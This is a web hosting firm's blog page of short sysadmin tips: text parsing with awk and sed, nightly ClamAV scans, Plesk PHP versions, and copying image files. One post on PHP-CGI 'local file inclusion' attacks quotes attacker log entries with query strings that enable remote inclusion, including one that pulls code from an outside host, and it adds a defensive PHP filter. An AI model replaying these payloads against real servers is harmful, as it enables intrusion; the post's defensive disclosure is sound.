Category: Scripting

How-to Cut With Multi-Character Delimiter

December 5, 2013

The “cut” command is great for splitting a string on a single character and extracting specific fields. But it will not work with multi-character delimiters. Here’s a simple replacement using awk that will get the job done. Let’s assume you have a string like:

arg1=a&arg2=b&arg3=c

1	arg1=a&arg2=b&arg3=c

We could extract the value of “arg3” using cut with:

echo "arg1=a&arg2=b&arg3=c" | cut -f 3 -d "&" | cut -f 2 -d '='

1	echo "arg1=a&arg2=b&arg3=c" \| cut -f 3 -d "&" \| cut -f 2 -d '='

But this assumes that there are always the same number of proceeding args: Now lets do it with awk:

awk -F'arg3='  '{print $2}'

1	awk -F'arg3=' '{print $2}'

But what if the args are in different order? The we can use sed:

sed 's/\(.*\)arg3=\(.*\)/\2/g'

1	sed 's/$.$arg3=$.$/\2/g'

Cronjob for ClamAV

December 4, 2013

ClamAV can be useful for things like scanning a web root for viruses. Use this handy script with a cron job to setup nightly scans that send an email report.

https://code.google.com/p/clamav-cron/

1	https://code.google.com/p/clamav-cron/

Follow the directions on the site to install. We’ve modified the last line of the script so that it will work properly. Comment out the last line in /usr/local/bin/clamav-cron and add the following line to fix portion of the script that sends email. Make sure mailx is installed.

cat $CV_LOGFILE | /bin/mailx -s "$CV_SUBJECT" -r $CV_MAILFROM $CV_MAILTO

1	cat $CV_LOGFILE \| /bin/mailx -s "$CV_SUBJECT" -r $CV_MAILFROM $CV_MAILTO

You can use crontab -e to open up the cron editor and add the following entry:

0 3 * * * /usr/local/bin/clamav-cron /var/www/vhosts

1	0 3 * * * /usr/local/bin/clamav-cron /var/www/vhosts

This tells ClamAV to scan /var/www/vhosts each morning at 3am and send an email report.

Plesk 11.5 with Multiple PHP Versions

October 1, 2013

The latest version of Plesk support multiple PHP versions. The user or admin can select the version from the control panel. Once you have the PHP versions installed use the /usr/local/psa/bin/php_handler utility to inform Plesk. for example:

./php_handler --add -id cgi52 -displayname 5.2.17 \
   -path /usr/bin/php52/php-cgi -phpini \
   /etc/php52/cgi/php.ini -type cgi 

./php_handler --add -id fastcgi52 -displayname 5.2.17 \
   -path /usr/bin/php52/php-cgi -phpini \
   /etc/php52/cgi/php.ini -type fastcgi 

./php_handler --reread

./php_handler --add -id cgi52 -displayname 5.2.17 \

-path /usr/bin/php52/php-cgi -phpini \

/etc/php52/cgi/php.ini -type cgi

./php_handler --add -id fastcgi52 -displayname 5.2.17 \

-path /usr/bin/php52/php-cgi -phpini \

/etc/php52/cgi/php.ini -type fastcgi

./php_handler --reread

Also here’s an article that shows how to build the alternate version on Debian, including accurate info about necessary patches: http://zgadzaj.com/how-to-install-php-53-and-52-together-on-ubuntu-1204

Copy Files & Create Missing Directories

September 24, 2013

I needed to find all the image files in a large directory tree and then copy them to a new directory tree while preserving the directory structure. Here’s my solution: 1. Find the files and save list to a file:

find httpdocs/ -name '*' -exec file {} \; | grep -o -P '^.+: \w+ image' | cut -f 1 -d ":" > /tmp/f

1	find httpdocs/ -name '*' -exec file {} \; \| grep -o -P '^.+: \w+ image' \| cut -f 1 -d ":" > /tmp/f

This command demonstrates using the -exec option on “find” to feed the “file” command. 2. Copy each file on the list, creating sub directories as needed:

while IFS= read -r line; do cp --parents "$line" images/; done < /tmp/f

1	while IFS= read -r line; do cp --parents "$line" images/; done < /tmp/f

This command demonstrates a one line while loop feed by input redirection. Also notice the “–parents” option on the “cp” command.

Local File Inclusion Attacks

May 30, 2013

We’ve seen several sites compromised in the last few weeks using a “local file inclusion” vulnerability with “php://input”. Here are some sample log entries: 91.224.160.25 – – [23/May/2013:12:23:54 +0000] “POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input HTTP/1.1” 200 247 “-” “Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2” 89.111.24.97 – – [29/May/2013:08:38:22 +0000] “GET /?-n+-dallow_url_include%3DOn+-dauto_prepend_file%3Dhttp://gofastdownload.com/rf/code.txt HTTP/1.1” 200 1104 “-” “Opera/9.80 (Windows NT 6.1; U; MRA 8.0 (build 5745); ru) Presto/2.10.229 Version/11.64” This page explains the attack: http://zerofreak.blogspot.com/2012/04/lfi-exploitation-via-phpinput-shelling.html One of the compromised sites was Expression Engine and one was Drupal. Here’s a bit of PHP code that I added to index.php to stop further attacks:


if (stripos($_SERVER['QUERY_STRING'],'php://input') !== FALSE) {
   die("Not allowed.");
}

if (stripos($_SERVER['QUERY_STRING'],'php://input') !== FALSE) {

die("Not allowed.");

}

Obviously this is a very serious threat. We would advise all sites to test for this vulnerability.

Reliable Penguin provides managed web hosting, systems administration, website and server migrations, and expert consulting.

Recent Updates

Fixing WP‑CLI “eval()’d code” Parse Errors on PHP 8.4 During “wp db import”

Force a 404 With a CloudFront Function (Always)

HTTP Basic Auth Is Dead

WordPress 6.8 Speculative Loading Can Break HTTP Basic Auth

Zero‑Trust for WordPress Admin with Cloudflare Access (Email One‑Time Codes)